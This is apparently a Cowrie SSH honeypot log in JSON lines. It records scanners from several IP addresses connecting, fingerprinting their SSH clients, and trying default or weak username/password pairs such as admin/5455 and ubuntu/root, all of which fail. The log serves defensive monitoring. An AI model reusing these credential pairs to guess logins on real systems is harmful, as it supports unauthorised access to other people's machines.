{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:43.043653Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:43.142654Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5455","message":"login attempt [admin/5455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:43.614548Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5420","message":"login attempt [admin/5420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:44.716086Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4z3al0ts","message":"login attempt [admin/4z3al0ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:45.819743Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4WcQjn","message":"login attempt [admin/4WcQjn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:46.922078Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"444222","message":"login attempt [admin/444222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:48.023768Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:49.124919Z","src_ip":"2.57.121.112","session":"89067c8dfad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":33826,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ef3e7d0f7c","protocol":"ssh","message":"New connection: 193.32.162.145:33826 (159.203.135.109:22) [session: 39ef3e7d0f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:13:58.133223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:13:58.138496Z","src_ip":"193.32.162.145","session":"39ef3e7d0f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:13:58.243348Z","src_ip":"193.32.162.145","session":"39ef3e7d0f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:13:58.561152Z","src_ip":"193.32.162.145","session":"39ef3e7d0f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:13:59.675306Z","src_ip":"193.32.162.145","session":"39ef3e7d0f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16678,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06ec69e3de4","protocol":"ssh","message":"New connection: 2.57.121.112:16678 (159.203.135.109:22) [session: c06ec69e3de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:04.796008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:04.800783Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:04.899966Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5455","message":"login attempt [admin/5455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:05.385961Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5420","message":"login attempt [admin/5420] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:06.487946Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4z3al0ts","message":"login attempt [admin/4z3al0ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:07.588904Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4WcQjn","message":"login attempt [admin/4WcQjn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:08.690338Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"444222","message":"login attempt [admin/444222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:09.790321Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:10.891421Z","src_ip":"2.57.121.112","session":"c06ec69e3de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1c3b59640f0","protocol":"ssh","message":"New connection: 195.178.110.218:53122 (159.203.135.109:22) [session: a1c3b59640f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:25.802911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:25.807238Z","src_ip":"195.178.110.218","session":"a1c3b59640f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:25.885657Z","src_ip":"195.178.110.218","session":"a1c3b59640f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:26.123484Z","src_ip":"195.178.110.218","session":"a1c3b59640f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":52232,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed49f62d1d4f","protocol":"ssh","message":"New connection: 154.221.28.214:52232 (159.203.135.109:22) [session: ed49f62d1d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:27.055138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:27.059174Z","src_ip":"154.221.28.214","session":"ed49f62d1d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:27.204221Z","src_ip":"195.178.110.218","session":"a1c3b59640f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:27.270412Z","src_ip":"154.221.28.214","session":"ed49f62d1d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscarpassword","message":"login attempt [oscar/oscarpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:28.149344Z","src_ip":"154.221.28.214","session":"ed49f62d1d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:29.362924Z","src_ip":"154.221.28.214","session":"ed49f62d1d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":41312,"dst_ip":"159.203.135.109","dst_port":22,"session":"362c11c0dcf7","protocol":"ssh","message":"New connection: 2.57.122.96:41312 (159.203.135.109:22) [session: 362c11c0dcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:41.283510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:41.299268Z","src_ip":"2.57.122.96","session":"362c11c0dcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:41.402747Z","src_ip":"2.57.122.96","session":"362c11c0dcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:41.865303Z","src_ip":"2.57.122.96","session":"362c11c0dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:14:42.994070Z","src_ip":"2.57.122.96","session":"362c11c0dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53086,"dst_ip":"159.203.135.109","dst_port":22,"session":"44b68526a811","protocol":"ssh","message":"New connection: 193.32.162.145:53086 (159.203.135.109:22) [session: 44b68526a811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:17.686473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:17.689944Z","src_ip":"193.32.162.145","session":"44b68526a811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:17.788415Z","src_ip":"193.32.162.145","session":"44b68526a811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:18.100301Z","src_ip":"193.32.162.145","session":"44b68526a811","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:19.202052Z","src_ip":"193.32.162.145","session":"44b68526a811","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":36560,"dst_ip":"159.203.135.109","dst_port":22,"session":"014659fc47f7","protocol":"ssh","message":"New connection: 154.221.28.214:36560 (159.203.135.109:22) [session: 014659fc47f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:31.367688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:31.371528Z","src_ip":"154.221.28.214","session":"014659fc47f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:31.574876Z","src_ip":"154.221.28.214","session":"014659fc47f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jacky","password":"Jacky","message":"login attempt [jacky/Jacky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:32.417980Z","src_ip":"154.221.28.214","session":"014659fc47f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:16:33.622214Z","src_ip":"154.221.28.214","session":"014659fc47f7","protocol":"ssh"}
